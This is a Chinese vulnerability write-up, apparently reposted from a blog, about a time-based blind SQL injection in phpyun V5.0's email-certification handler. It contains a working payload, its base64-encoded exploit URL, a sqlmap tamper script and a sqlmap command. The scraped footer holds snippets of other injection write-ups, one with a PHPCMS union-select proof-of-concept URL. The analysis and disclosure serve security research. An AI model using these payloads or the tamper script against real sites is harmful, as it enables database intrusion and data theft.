phpyun人才管理系统V5.0 SQL注入漏洞分析

*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做*

cms背景介绍

PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用:B/S+c/s技术框架,程序源代码100%完全开放!基于PHP 和 MySQL 数据库构建的为核心开发。

漏洞类型

前台SQL盲注

漏洞描述

Phpyun最新版本V5.0中,在用户邮箱认证处,存在SQL延时注入。其未对 base64解密后的email参数进行任何过滤,从而导致漏洞产生。

漏洞产生链分析:

漏洞产生点位于 app\controller\qqconnect\index.class.php的cert_action函数

可以看到此函数开头将GET取得的结果经过base64_decode函数解码后分割引入 $arr数组中,此时可以绕过全局过滤,代表此处可以控制$arr[3]的值。再往下看:

此时可以看到,由于$arr[3]的值可控,所以导致$data的 email参数可控,并且引入upCertInfo函数的email参数可控。在跟进 upCertInfo函数:

可以看到在此函数中$data以及$whereData参数未经任何过滤又将其引入 upCertEmail函数,继续跟进:

可以看到此函数同样未对data数组中的参数未经过任何过滤,此时$email变量可控并将其引入 getCertInfo函数中,继续跟进:可以看到又将可控数据引入 select_once函数中,此时$whereData中的check可控,继续跟进:

此函数中可以看到,将拥有可控数据的$where引入checkWhere 函数(篇幅问题,代码不贴了),其函数为判断是否有limit,orderby ,orderbyfield,groupby,having 等等,并将其参数修改为`email` = $email这种格式,并且还是未对其中参数做任何过滤。

现在基本确定存在SQL注入漏洞,此时只需本地复现即可。首先查看phpyun的路由调度。

可以看到module名为$_GET[‘m’]的值,所以此处 m的值应该为 qqconnect

控制器为C ,函数为A。由于qqconnect模块下的控制器名为 index.class.php所以c为index 。由于函数名为cert_action,所以a为 cert。

所以漏洞点url为:http://target.com/?m=qqconnect&c=index&a=cert

漏洞利用条件

一、首先数据库phpyun_member表中必须有用户(可以自行注册,由于该系统是招聘系统,所以不存在无法注册的问题)

二、由于db.safety.php中对传入数据的限制,通过GET传入的数据最大为80个字符,并且还是经过base64加密的。所以payload应该只有56个字符左右的限制,有大佬的话可以尝试尝试更进一步的利用。

三、phpyun_company_cert表中必须有数据,否则SQL 注入无法成功。

漏洞本地复现

设置payload为:2|||‘or (if(true,sleep(5),1));#

将payload通过base64加密: Mnx8fCdvciAoaWYodHJ1ZSxzbGVlcCg1KSwxKSk7IyA=

访问:http://target.com/?m=qqconnect&c=index&a=cert&id=Mnx8fCdvciAoaWYodHJ1ZSxzbGVlcCg1KSwxKSk7IyA=     (此URL中id 参数为加密后的payload)

可以看到响应时间为5082millis。约为5秒。 SQL注入复现成功。

使用SQLMAP进行注入

首先要使用SQLMAP进行注入验证需要编写SQLMAP脚本辅助。观察payload,发现要将sqlmap中测试需要的payload前面添加 2||| 。并且将添加数据后的payload进行base64编码。

编写脚本:phpyun.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file ‘LICENSE‘ for copying permission
"""
import base64

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def dependencies():
    pass
def tamper(payload, **kwargs):
    """    phpyun payload
           >>> tamper("1‘ AND SLEEP(5)#")
           ‘MScgQU5EIFNMRUVQKDUpIw==‘
    """
    payload = "2|||"+payload    #给payload添加我们需要的数据

    return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload    #对新payload进行加密

将此脚本放入tamper文件夹中便可使用。

SQLMAP命令 :python sqlmap.py -u "http://target.com/?m=qqconnect&c=index&a=cert&id=1" -p "id" --tamper="tamper/phpyun.py"  --technique T  -v 3  --dbms "mysql"  --risk 3

注:sqlmap参数必须设置 --risk 等级为3。由于风险等级默认为1,payload使用and逻辑判断,会导致sql注入检测失败。将风险等级设置为3时,payload会使用OR逻辑判断。所以此处必须设置。(风险等级为3的情况下,谨慎测试upload的SQL语句。)

漏洞修复方案

建议对app\controller\qqconnect\index.class.php的cert_action 函数中的$arr[3]使用CheckRegEmail函数检测。具体修复方法等待官方补丁phpyun官方网站

原文地址:https://www.cnblogs.com/Spec/p/12573892.html

时间: 2024-08-29 15:57:51

phpyun人才管理系统V5.0 SQL注入漏洞分析的相关文章

eml 企业通讯录管理系统 v5.0 SQL 注入

0x00前言 开始从小的漏洞开始练习,搬运项目地址: https://github.com/imsebao/Code-Audit 0x01 EML 企业客户关系管理系统,是基于 Linux 开放性内核和 Apache 基础上 Php+Mysql 的智能 B/S 交互式服务系统. eml 企业通讯录管理系统 v5.0 登录页面 username 参数 过滤不严导致 sql 注 入. WWW/action/action.user.php 文件 第 23 行 //验证登录 if($do=="login

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2

JDBC的SQL注入漏洞分析和解决

1.1.1 SQL注入漏洞分析 1.1.2 SQL注入漏洞解决 需要采用PreparedStatement对象解决SQL注入漏洞.这个对象将SQL预先进行编译,使用?作为占位符.?所代表内容是SQL所固定.再次传入变量(包含SQL的关键字).这个时候也不会识别这些关键字. public class UserDao { ????????? ????????public boolean login(String username,String password){ ????????????????C

Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件

如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!

当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_string()函数过滤用户提交的值,但是也有缺陷.而使用PHP的PDO扩展的 prepare 方法,就可以避免 sql injection 风险. PDO(PHP Data Object) 是PHP5新加入的一个重大功能,因为在PHP 5以前的php4/php3都是一堆的数据库扩展来跟各个数据库的

[CVE-2014-3704]Drupal 7.31 SQL注入漏洞分析与复现

不是很新的漏洞,记录下自己的复现思路 漏洞影响: Drupal 7.31 Drupal是一个开源内容管理平台,为数百万个网站和应用程序提供支持. 它是由世界各地积极和多样化的社区建立,使用和支持的. 0x01漏洞复现 复现环境: 1) Apache2.4 2) Php 7.0 3) drupal 7.31 https://www.drupal.org/drupal-7.31-release-notes(点击下载) 环境打包在目录下安装即可 中间遇到的问题: 解决方法:关闭extersion=ph

Axublog 1.1.0 c_login.php存在sql注入漏洞

0x00前言 开始从小的漏洞开始练习,搬运项目地址: https://github.com/imsebao/Code-Audit 0x01 Axublog是一款PHP个人博客系统. Axublog(c_login.php)存在SQL注入漏洞.攻击者可利用漏洞, 直接进行注入,获取数据库敏感信息. 漏洞分析: 漏洞出现在后台登录验证的部分. 首先看后台登录页面代码.www/ad/login.php <?php include_once("all.php"); header(&quo

zabbix 爆高危 SQL 注入漏洞,可获系统权限(profileIdx 2 参数)

漏洞概述 zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限. 影响程度 攻击成本:低 危害程度:高 是否登陆:不需要 影响范围:2.2.x, 3.0.0-3.0.3.(其他版本未经测试) 漏洞测试 在zabbix地址后面添加这串url jsrpc.php?type=9&method=s

Zabbix-20160817-高危SQL注入漏洞

漏洞概述: zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限. 但是无需登录注入这里有个前提,就是zabbix开启了guest权限.而在zabbix中,guest的默认密码为空.需要有这个条件的支持才可以进行无权限注入. 影响程度: 攻击成本:低 危害程度:高 是否登陆:不需要 影响范